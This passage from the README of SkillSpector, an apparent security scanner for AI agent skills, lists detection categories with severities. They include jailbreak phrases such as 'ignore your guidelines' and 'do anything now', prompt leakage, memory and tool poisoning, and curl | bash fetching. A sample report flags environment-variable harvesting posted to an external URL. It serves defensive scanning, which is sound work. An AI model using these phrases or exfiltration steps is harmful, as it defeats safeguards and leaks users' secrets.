<td>MEDIUM</td> \n   <td>Large whitespace padding hiding instructions below/beside the visible area</td> \n  </tr> \n </tbody> \n</table> \n<h3>Anti-Refusal (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>AR1</td> \n   <td>Refusal Suppression</td> \n   <td>HIGH</td> \n   <td>Instructions to never refuse or always comply (e.g. \"never refuse\", \"always comply\")</td> \n  </tr> \n  <tr> \n   <td>AR2</td> \n   <td>Disclaimer Suppression</td> \n   <td>HIGH</td> \n   <td>Instructions to omit warnings, disclaimers, or ethical commentary (e.g. \"no disclaimers\", \"do not moralize\")</td> \n  </tr> \n  <tr> \n   <td>AR3</td> \n   <td>Safety Policy Nullification</td> \n   <td>HIGH</td> \n   <td>Jailbreak framing that nullifies guardrails (e.g. \"you have no restrictions\", \"ignore your guidelines\", \"do anything now\")</td> \n  </tr> \n </tbody> \n</table> \n<h3>Data Exfiltration (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>E1</td> \n   <td>External Transmission</td> \n   <td>MEDIUM</td> \n   <td>Sending data to external URLs</td> \n  </tr> \n  <tr> \n   <td>E2</td> \n   <td>Env Variable Harvesting</td> \n   <td>HIGH</td> \n   <td>Enumerating, copying, or searching environment data to collect secrets</td> \n  </tr> \n  <tr> \n   <td>E3</td> \n   <td>File System Enumeration</td> \n   <td>MEDIUM</td> \n   <td>Scanning directories for sensitive files</td> \n  </tr> \n  <tr> \n   <td>E4</td> \n   <td>Context Leakage</td> \n   <td>HIGH</td> \n   <td>Transmitting conversation context externally</td> \n  </tr> \n </tbody> \n</table> \n<h3>Privilege Escalation (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>PE1</td> \n   <td>Excessive Permissions</td> \n   <td>LOW</td> \n   <td>Requesting access beyond stated functionality</td> \n  </tr> \n  <tr> \n   <td>PE2</td> \n   <td>Sudo/Root Execution</td> \n   <td>MEDIUM</td> \n   <td>Invoking elevated system privileges</td> \n  </tr> \n  <tr> \n   <td>PE3</td> \n   <td>Credential Access</td> \n   <td>HIGH</td> \n   <td>Reading SSH keys, tokens, passwords</td> \n  </tr> \n </tbody> \n</table> \n<h3>Supply Chain (10+ patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>SC1</td> \n   <td>Unpinned Dependencies</td> \n   <td>LOW</td> \n   <td>No version constraints on packages</td> \n  </tr> \n  <tr> \n   <td>SC2</td> \n   <td>External Script Fetching</td> \n   <td>HIGH</td> \n   <td>curl | bash and remote code execution</td> \n  </tr> \n  <tr> \n   <td>SC3</td> \n   <td>Obfuscated Code</td> \n   <td>HIGH</td> \n   <td>Base64/hex encoded execution</td> \n  </tr> \n  <tr> \n   <td>SC4</td> \n   <td>Known Vulnerable Dependencies</td> \n   <td>HIGH</td> \n   <td>Dependencies with known CVEs (live OSV.dev lookup)</td> \n  </tr> \n  <tr> \n   <td>SC5</td> \n   <td>Abandoned Dependencies</td> \n   <td>MEDIUM</td> \n   <td>Unmaintained packages without security updates</td> \n  </tr> \n  <tr> \n   <td>SC6</td> \n   <td>Typosquatting</td> \n   <td>HIGH</td> \n   <td>Package names similar to popular packages</td> \n  </tr> \n  <tr> \n   <td>SC8</td> \n   <td>Shipped Python Bytecode</td> \n   <td>HIGH</td> \n   <td><code>__pycache__</code> / <code>.pyc</code> present (discovery skips; malicious bytecode bypass)</td> \n  </tr> \n  <tr> \n   <td>SC9</td> \n   <td>Concealed Executable Artifact</td> \n   <td>HIGH</td> \n   <td>Executable nested in a document container or hidden/disguised artifact; root-level visible source helpers in manifested <code>.agents/skills/&lt;name&gt;/</code> and <code>.claude/skills/&lt;name&gt;/</code> folders are exempted but remain local-only and are marked as not LLM-reviewed</td> \n  </tr> \n  <tr> \n   <td>SC10</td> \n   <td>Dependency Source Redirection</td> \n   <td>HIGH</td> \n   <td>Package-manager source added, replaced, or unresolved</td> \n  </tr> \n </tbody> \n</table> \n<h3>Excessive Agency (5 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>EA1</td> \n   <td>Unrestricted Tool Access</td> \n   <td>HIGH</td> \n   <td>Unfettered tool access without constraints</td> \n  </tr> \n  <tr> \n   <td>EA2</td> \n   <td>Autonomous Decision Making</td> \n   <td>HIGH</td> \n   <td>High-impact decisions without human-in-the-loop</td> \n  </tr> \n  <tr> \n   <td>EA3</td> \n   <td>Scope Creep</td> \n   <td>MEDIUM</td> \n   <td>Capabilities extending beyond stated purpose</td> \n  </tr> \n  <tr> \n   <td>EA4</td> \n   <td>Unbounded Resource Access</td> \n   <td>MEDIUM</td> \n   <td>No rate limits or quotas on resource consumption</td> \n  </tr> \n  <tr> \n   <td>EA5</td> \n   <td>External Model or Provider Selection</td> \n   <td>MEDIUM/HIGH</td> \n   <td>Model/provider pins or coding-CLI shell-outs that can switch billing accounts</td> \n  </tr> \n </tbody> \n</table> \n<h3>Output Handling (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>OH1</td> \n   <td>Unvalidated Output Injection</td> \n   <td>HIGH</td> \n   <td>Model output used without sanitization</td> \n  </tr> \n  <tr> \n   <td>OH2</td> \n   <td>Cross-Context Output</td> \n   <td>MEDIUM</td> \n   <td>Output flows across trust boundaries without validation</td> \n  </tr> \n  <tr> \n   <td>OH3</td> \n   <td>Unbounded Output</td> \n   <td>MEDIUM</td> \n   <td>No limits on output size or generation rate</td> \n  </tr> \n </tbody> \n</table> \n<h3>System Prompt Leakage (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>P6</td> \n   <td>Direct Leakage</td> \n   <td>HIGH</td> \n   <td>Instructions that expose system prompts or internal rules</td> \n  </tr> \n  <tr> \n   <td>P7</td> \n   <td>Indirect Extraction</td> \n   <td>MEDIUM</td> \n   <td>Extraction via rephrasing, translation, or side-channels</td> \n  </tr> \n  <tr> \n   <td>P8</td> \n   <td>Tool-Based Exfiltration</td> \n   <td>HIGH</td> \n   <td>System prompts exfiltrated via file writes or network requests</td> \n  </tr> \n </tbody> \n</table> \n<h3>Memory Poisoning (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>MP1</td> \n   <td>Persistent Context Injection</td> \n   <td>HIGH</td> \n   <td>Content designed to persist across interactions</td> \n  </tr> \n  <tr> \n   <td>MP2</td> \n   <td>Context Window Stuffing</td> \n   <td>MEDIUM</td> \n   <td>Filler content displacing safety constraints</td> \n  </tr> \n  <tr> \n   <td>MP3</td> \n   <td>Memory Manipulation</td> \n   <td>HIGH</td> \n   <td>Tampering with agent memory or stored state</td> \n  </tr> \n </tbody> \n</table> \n<h3>Tool Misuse (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TM1</td> \n   <td>Tool Parameter Abuse</td> \n   <td>HIGH</td> \n   <td>Crafted parameters for unintended behavior (shell=True, --force)</td> \n  </tr> \n  <tr> \n   <td>TM2</td> \n   <td>Chaining Abuse</td> \n   <td>HIGH</td> \n   <td>Tool chains that bypass individual safety checks</td> \n  </tr> \n  <tr> \n   <td>TM3</td> \n   <td>Unsafe Defaults</td> \n   <td>MEDIUM</td> \n   <td>Overly permissive defaults (disabled TLS, no auth)</td> \n  </tr> \n </tbody> \n</table> \n<h3>Rogue Agent (2 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>RA1</td> \n   <td>Self-Modification</td> \n   <td>CRITICAL</td> \n   <td>Modifying own code or configuration at runtime</td> \n  </tr> \n  <tr> \n   <td>RA2</td> \n   <td>Session Persistence</td> \n   <td>HIGH</td> \n   <td>Unauthorized persistence via cron jobs or startup scripts</td> \n  </tr> \n </tbody> \n</table> \n<h3>Trigger Abuse (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TR1</td> \n   <td>Overly Broad Trigger</td> \n   <td>MEDIUM</td> \n   <td>Trigger patterns matching common words</td> \n  </tr> \n  <tr> \n   <td>TR2</td> \n   <td>Shadow Command Trigger</td> \n   <td>HIGH</td> \n   <td>Triggers that shadow built-in commands or other skills</td> \n  </tr> \n  <tr> \n   <td>TR3</td> \n   <td>Keyword Baiting Trigger</td> \n   <td>MEDIUM</td> \n   <td>Generic triggers designed to maximize activation</td> \n  </tr> \n </tbody> \n</table> \n<h3>Behavioral AST (9 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>AST1</td> \n   <td>exec() Call</td> \n   <td>CRITICAL</td> \n   <td>Direct exec() enabling arbitrary code execution</td> \n  </tr> \n  <tr> \n   <td>AST2</td> \n   <td>eval() Call</td> \n   <td>HIGH</td> \n   <td>Direct eval() evaluating arbitrary expressions</td> \n  </tr> \n  <tr> \n   <td>AST3</td> \n   <td>Dynamic Import</td> \n   <td>HIGH</td> \n   <td>__import__() loading arbitrary modules at runtime</td> \n  </tr> \n  <tr> \n   <td>AST4</td> \n   <td>subprocess Call</td> \n   <td>HIGH</td> \n   <td>External command execution via subprocess</td> \n  </tr> \n  <tr> \n   <td>AST5</td> \n   <td>os.system / exec-family</td> \n   <td>HIGH</td> \n   <td>Shell commands via os module</td> \n  </tr> \n  <tr> \n   <td>AST6</td> \n   <td>compile() Call</td> \n   <td>MEDIUM</td> \n   <td>Code object creation from strings</td> \n  </tr> \n  <tr> \n   <td>AST7</td> \n   <td>Dynamic getattr()</td> \n   <td>MEDIUM</td> \n   <td>Arbitrary attribute access with non-literal names</td> \n  </tr> \n  <tr> \n   <td>AST8</td> \n   <td>Dangerous Execution Chain</td> \n   <td>CRITICAL</td> \n   <td>exec/eval combined with dynamic source (network, encoded data)</td> \n  </tr> \n  <tr> \n   <td>AST9</td> \n   <td>Reflective getattr() Sink</td> \n   <td>HIGH</td> \n   <td>Reflective exec via <code>getattr(os,'system')</code> / <code>getattr(builtins,'exec')</code> that evades AST1/AST5</td> \n  </tr> \n </tbody> \n</table> \n<h3>Taint Tracking (5 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TT1</td> \n   <td>Direct Taint Flow</td> \n   <td>HIGH</td> \n   <td>Data flows directly from a source to a sink without sanitization</td> \n  </tr> \n  <tr> \n   <td>TT2</td> \n   <td>Variable-Mediated Taint Flow</td> \n   <td>MEDIUM</td> \n   <td>Data flows from source to sink through intermediate variables</td> \n  </tr> \n  <tr> \n   <td>TT3</td> \n   <td>Credential Exfiltration Chain</td> \n   <td>CRITICAL</td> \n   <td>Credentials (env vars, secrets) flow to network output sinks</td> \n  </tr> \n  <tr> \n   <td>TT4</td> \n   <td>File Read to Network Exfiltration</td> \n   <td>HIGH</td> \n   <td>File contents flow to network output sinks</td> \n  </tr> \n  <tr> \n   <td>TT5</td> \n   <td>External Input to Code Execution</td> \n   <td>CRITICAL</td> \n   <td>Network or user input flows to exec/eval/subprocess sinks</td> \n  </tr> \n </tbody> \n</table> \n<h3>YARA Signatures (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>YR1</td> \n   <td>Malware Match</td> \n   <td>CRITICAL</td> \n   <td>YARA rule match for known malware signatures</td> \n  </tr> \n  <tr> \n   <td>YR2</td> \n   <td>Webshell Match</td> \n   <td>CRITICAL</td> \n   <td>YARA rule match for webshell patterns</td> \n  </tr> \n  <tr> \n   <td>YR3</td> \n   <td>Cryptominer Match</td> \n   <td>HIGH</td> \n   <td>YARA rule match for crypto mining indicators</td> \n  </tr> \n  <tr> \n   <td>YR4</td> \n   <td>Hack Tool / Exploit Match</td> \n   <td>HIGH</td> \n   <td>YARA rule match for hack tools or exploit code</td> \n  </tr> \n </tbody> \n</table> \n<h3>MCP Least Privilege (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>LP1</td> \n   <td>Underdeclared Capability</td> \n   <td>HIGH</td> \n   <td>Code uses capabilities not listed in declared permissions</td> \n  </tr> \n  <tr> \n   <td>LP2</td> \n   <td>Wildcard Permission</td> \n   <td>MEDIUM</td> \n   <td>Permission list contains wildcards (*, all, full, any)</td> \n  </tr> \n  <tr> \n   <td>LP3</td> \n   <td>Missing Permission Declaration</td> \n   <td>MEDIUM</td> \n   <td>No permissions field but code has detectable capabilities</td> \n  </tr> \n  <tr> \n   <td>LP4</td> \n   <td>Overdeclared Permission</td> \n   <td>LOW</td> \n   <td>Permission declared but no corresponding code capability found</td> \n  </tr> \n </tbody> \n</table> \n<h3>MCP Tool Poisoning (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TP1</td> \n   <td>Hidden Instructions</td> \n   <td>HIGH</td> \n   <td>Hidden directives in metadata (HTML comments, zero-width chars, base64, data URIs)</td> \n  </tr> \n  <tr> \n   <td>TP2</td> \n   <td>Unicode Deception</td> \n   <td>HIGH</td> \n   <td>Homoglyphs, RTL overrides, mixed-script identifiers in tool metadata</td> \n  </tr> \n  <tr> \n   <td>TP3</td> \n   <td>Parameter Description Injection</td> \n   <td>MEDIUM</td> \n   <td>Injection patterns in parameter definitions (overrides, system tokens, malicious defaults)</td> \n  </tr> \n  <tr> \n   <td>TP4</td> \n   <td>Description-Behavior Mismatch</td> \n   <td>MEDIUM</td> \n   <td>Declared tool description does not match actual code behavior (LLM-powered)</td> \n  </tr> \n </tbody> \n</table> \n<p>All detected patterns are listed in the tables above.</p> \n<h2>Risk Scoring</h2> \n<h3>Score Calculation</h3> \n<ul> \n <li><strong>CRITICAL issues</strong>: +50 points</li> \n <li><strong>HIGH issues</strong>: +25 points</li> \n <li><strong>MEDIUM issues</strong>: +10 points</li> \n <li><strong>LOW issues</strong>: +5 points</li> \n <li><strong>Executable scripts</strong>: 1.3x multiplier</li> \n</ul> \n<h3>Severity Levels</h3> \n<table> \n <thead> \n  <tr> \n   <th>Score</th> \n   <th>Severity</th> \n   <th>Recommendation</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>0-20</td> \n   <td>LOW</td> \n   <td>SAFE</td> \n  </tr> \n  <tr> \n   <td>21-50</td> \n   <td>MEDIUM</td> \n   <td>CAUTION</td> \n  </tr> \n  <tr> \n   <td>51-80</td> \n   <td>HIGH</td> \n   <td>DO NOT INSTALL</td> \n  </tr> \n  <tr> \n   <td>81-100</td> \n   <td>CRITICAL</td> \n   <td>DO NOT INSTALL</td> \n  </tr> \n </tbody> \n</table> \n<h2>Example Output</h2> \n<h3>Terminal Output</h3> \n<pre><code> SkillSpector Security Report  v2.0.0\n\nSkill: suspicious-skill\nSource: ./suspicious-skill/\nScanned: 2026-01-29 10:30:00 UTC\n\n        Risk Assessment\n Metric          Value\n Score           78/100\n Severity        HIGH\n Recommendation  DO NOT INSTALL\n\n        Components (3)\n File              Type      Lines  Executable\n SKILL.md          markdown    142  No\n scripts/sync.py   python       87  Yes\n requirements.txt  text          3  No\n\nIssues (2)\n\n  HIGH: Env Variable Harvesting (E2)\n    Location: scripts/sync.py:23\n    Finding: for key, val in os.environ.items():...\n    Confidence: 94%\n    Explanation: This code collects environment variables containing\n    API keys and secrets, then sends them to an external server.\n\n  HIGH: External Transmission (E1)\n    Location: scripts/sync.py:45\n    Finding: requests.post(\"https://api.skill.io/env\"...\n    Confidence: 89%\n    Explanation: Data is being sent to an external server. Combined\n    with env harvesting above, this indicates credential exfiltration.\n</code></pre> \n<h2>Configuration</h2> \n<h3>Environment Variables</h3> \n<table> \n <thead> \n  <tr> \n   <th>Variable</th> \n   <th>Description</th> \n   <th>Required</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>SKILLSPECTOR_PROVIDER</code></td> \n   <td>Active LLM provider: <code>openai</code>, <code>anthropic</code>, <code>anthropic_proxy</code>, <code>bedrock</code>, <code>nv_build</code>, <code>gemini</code>, <code>ollama</code>, <code>azure_openai</code>, <code>openai_compatible</code>, <code>claude_cli</code>, <code>gemini_cli</code>, or <code>opencode_cli</code>. Hosted providers use bundled <code>model_registry.yaml</code> defaults; CLI providers fall back to the local runtime's default model unless <code>SKILLSPECTOR_MODEL</code> is set. Defaults to <code>nv_build</code>.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>GOOGLE_CLOUD_PROJECT</code></td> \n   <td>Google Cloud project ID for the <code>gemini</code> provider. Authenticates via Google Cloud Application Default Credentials (ADC) or GKE Workload Identity.</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=gemini</code></td> \n  </tr> \n  <tr> \n   <td><code>GOOGLE_CLOUD_LOCATION</code></td> \n   <td>Google Cloud location for the <code>gemini</code> provider endpoint (e.g. <code>global</code>, <code>us</code>, <code>eu</code>, <code>us-central1</code>). Defaults to <code>global</code>.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=gemini</code>)</td> \n  </tr> \n  <tr> \n   <td><code>GOOGLE_APPLICATION_CREDENTIALS</code></td> \n   <td>Optional path to ADC credential/config file (e.g. Workload or Workforce Identity Federation config; exported service account keys are discouraged). For local development, use <code>gcloud auth application-default login</code>; for GKE, use Workload Identity.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=gemini</code>)</td> \n  </tr> \n  <tr> \n   <td><code>NVIDIA_INFERENCE_KEY</code></td> \n   <td>Credential for the <code>nv_build</code> provider (<a href=\"http://build.nvidia.com\">build.nvidia.com</a>).</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=nv_build</code></td> \n  </tr> \n  <tr> \n   <td><code>OPENAI_API_KEY</code></td> \n   <td>Credential for the OpenAI provider (<code>SKILLSPECTOR_PROVIDER=openai</code>). Also serves as the tier-2 fallback in the credential waterfall when the active provider returns no credentials; the fallback then uses the <code>openai</code> default model (<code>gpt-5.4</code>) for any slot without a model override. Claude Opus or Sonnet 5.5 gateway IDs are not supported through the fallback, because it keeps the active provider's structured-output method; select <code>SKILLSPECTOR_PROVIDER=openai</code> for them.</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=openai</code></td> \n  </tr> \n  <tr> \n   <td><code>OPENAI_BASE_URL</code></td> \n   <td>Override the OpenAI endpoint (e.g. point at Ollama).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_REASONING_EFFORT</code></td> \n   <td>Optional provider- and model-dependent reasoning-effort setting. Non-empty values are trimmed and passed through unchanged. When unset or blank, SkillSpector sends <code>high</code> for <code>nv_build</code> with <code>z-ai/glm-5.3</code>; other provider/model combinations keep their endpoint defaults. The value applies to every model slot, so the <code>anthropic</code> <code>meta_analyzer</code> default receives the same effort as the analyzers. <code>gpt-6.1-sol</code> accepts only <code>low</code>, <code>medium</code>, <code>high</code>, <code>xhigh</code>, or <code>max</code>; any other value stops a scan before analysis (exit code 2).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_OUTPUT_LANGUAGE</code></td> \n   <td>Short, single-line language label (letters, numbers, spaces, <code>_</code>, or <code>-</code>; maximum 64 characters) for human-readable LLM finding text such as messages, explanations, and remediation. Rule IDs, severity values, paths, code, and other machine-readable values remain unchanged. Unset, blank, or invalid values preserve the default output language.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_TEMPERATURE</code></td> \n   <td>Optional sampling temperature from <code>0</code> to <code>1</code> for hosted providers. Unset or blank preserves the provider default. Lower values can reduce run-to-run variation but do not guarantee identical output. <code>gpt-6.1-sol</code> rejects every explicit temperature, including <code>1</code>. <code>claude-opus-5-5</code> and <code>claude-sonnet-5-5</code> accept only <code>1.0</code> on the native Anthropic endpoint (<a href=\"https://platform.claude.com/docs/en/api/messages/create\">API compatibility rule</a>); gateways, proxies, and Bedrock still reject every explicit value for these models. Unsupported settings on active LLM slots stop a scan before analysis (exit code 2). Static scans (<code>--no-llm</code>) skip provider initialization and control validation. A Bedrock application-inference-profile ARN hides the model name, so declare <code>sampling: rejected</code> for it in the model registry.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_SEED</code></td> \n   <td>Optional integer sampling seed for OpenAI-compatible and Azure OpenAI providers. Other hosted providers and CLI providers do not receive it. Provider support remains model-dependent; <code>gpt-6.1-sol</code> receives it, but OpenAI treats <code>seed</code> as best-effort, so output can still differ between runs.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_COMPACT_PROMPTS</code></td> \n   <td>Opt-in compact line numbering in LLM prompts: numbered lines render as <code>L1:</code>, <code>L2:</code> instead of zero-padded <code>L01:</code>, <code>L02:</code>. Accepted truthy values are <code>1</code>, <code>true</code>, and <code>yes</code> (case-insensitive; surrounding whitespace is trimmed). Unset or any other value keeps the default zero-padded format.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_API_KEY</code></td> \n   <td>Credential for the Anthropic provider (<code>SKILLSPECTOR_PROVIDER=anthropic</code>).</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=anthropic</code></td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_BASE_URL</code></td> \n   <td>Override the native Anthropic endpoint (default: <code>https://api.anthropic.com</code>).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_AUTH_SCHEME</code></td> \n   <td>Set to <code>bearer</code> to send <code>ANTHROPIC_API_KEY</code> as <code>Authorization: Bearer</code> instead of <code>x-api-key</code>, for gateways exposing the Messages API.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_PROXY_ENDPOINT_URL</code></td> \n   <td>Full endpoint URL for the Anthropic proxy provider (Vertex-style raw-predict).</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=anthropic_proxy</code></td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_PROXY_API_KEY</code></td> \n   <td>Bearer token for the Anthropic proxy provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=anthropic_proxy</code></td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_PROXY_API_VERSION</code></td> \n   <td><code>anthropic_version</code> value sent in the request body (default: <code>vertex-2023-10-16</code>).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>AWS_PROFILE</code></td> \n   <td>Named AWS profile for the Bedrock provider \u2014 authenticates via SigV4 through boto3. When unset, the standard boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=bedrock</code>)</td> \n  </tr> \n  <tr> \n   <td><code>AWS_REGION</code></td> \n   <td>AWS region for the Bedrock Runtime endpoint. Defaults to <code>us-west-2</code>.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=bedrock</code>)</td> \n  </tr> \n  <tr> \n   <td><code>OLLAMA_BASE_URL</code></td> \n   <td>Ollama OpenAI-compatible endpoint. Defaults to <code>http://localhost:11434/v1</code>.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=ollama</code>)</td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_API_KEY</code></td> \n   <td>API key for the Azure OpenAI provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=azure_openai</code></td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_ENDPOINT</code></td> \n   <td>Azure resource endpoint for the Azure OpenAI provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=azure_openai</code></td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_DEPLOYMENT</code></td> \n   <td>Azure deployment name. Defaults to the selected model label.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_API_VERSION</code></td> \n   <td>Azure OpenAI API version. Defaults to <code>2024-06-01</code>.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_COMPAT_API_KEY</code></td> \n   <td>API key for a generic OpenAI-compatible provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=openai_compatible</code></td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_COMPAT_BASE_URL</code></td> \n   <td>Base URL for a generic OpenAI-compatible provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=openai_compatible</code></td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MODEL</code></td> \n   <td>Override the active provider model. For hosted providers, this replaces the bundled default from the LLM Analysis table. For CLI providers, this is forwarded as <code>--model</code> instead of using the local runtime fallback.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MODEL_&lt;SLOT&gt;</code></td> \n   <td>Override the model for one analyzer slot (for example <code>SKILLSPECTOR_MODEL_META_ANALYZER</code>). It takes precedence over <code>SKILLSPECTOR_MODEL</code>, which in turn replaces provider slot defaults such as the <code>anthropic</code> <code>meta_analyzer</code> default. See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/INFERENCE_USAGE.md#model-provenance\">model provenance</a> for the full precedence.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MODEL_REGISTRY</code></td> \n   <td>Override the bundled per-provider YAML registry (<code>src/skillspector/providers/&lt;provider&gt;/model_registry.yaml</code>) with a custom path.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_LOG_LEVEL</code></td> \n   <td>Log level: <code>DEBUG</code>, <code>INFO</code>, <code>WARNING</code>, <code>ERROR</code> (default: <code>WARNING</code>).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MAX_DEPENDENCY_SOURCE_ANALYSIS_SECONDS</code></td> \n   <td>Ceiling for the dependency-source analysis pass, in seconds. Defaults to <code>5.0</code>, which is the historical value. Raise it on slow or heavily loaded machines so the same unchanged tree does not come back partially inspected, which would set <code>safe_to_install</code> to false and record <code>runtime_limit</code>. The remaining aggregate workflow time (<code>SKILLSPECTOR_MAX_WORKFLOW_SECONDS</code>, 600 seconds by default) still caps the effective value; values above that remaining time have no effect. Invalid, zero, negative, infinite, and NaN values keep the 5-second default. The setting is resolved when the module is imported, so a new process is required after changing it. See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/ANALYSIS_RESOURCE_BOUNDS.md#configuring-the-dependency-source-deadline\">analysis resource bounds</a>.</td> \n   <td>Optional</td> \n  </tr> \n </tbody> \n</table> \n<blockquote> \n <p><strong>Disabled provider:</strong> <code>codex_cli</code> remains registered but cannot run LLM analysis because its read-only sandbox allows host-file reads. Existing users should select an HTTP API provider or another supported CLI provider.</p> \n</blockquote> \n<blockquote> \n <p><strong>CLI providers</strong> (<code>claude_cli</code>, <code>gemini_cli</code>, <code>opencode_cli</code>): No API key is needed. Authentication is managed entirely by the agent CLI's own login session. SkillSpector never reads or forwards API keys when these providers are active. The subprocess is run with capabilities restricted, and untrusted skill content is delivered only via stdin.</p> \n <p><code>opencode_cli</code> currently fails closed unless the installed OpenCode version is exactly <code>1.18.33</code>, the version whose configuration precedence and deny-all semantics are verified by this release.</p> \n</blockquote> \n<h3>CLI Options</h3> \n<pre><code class=\"language-bash\">skillspector scan --help\n\nOptions:\n  -f, --format [terminal|json|markdown|sarif]  Output format [default: terminal]\n  -o, --output PATH                            Output file path\n  --no-llm                                     Skip LLM analysis (static only)\n  --yara-rules-dir PATH                        Extra YARA rules directory\n  -b, --baseline PATH                          Suppress findings listed in a baseline\n  --show-suppressed                            List baseline-suppressed findings\n  -V, --verbose                                Show detailed progress\n  --help                                       Show this message 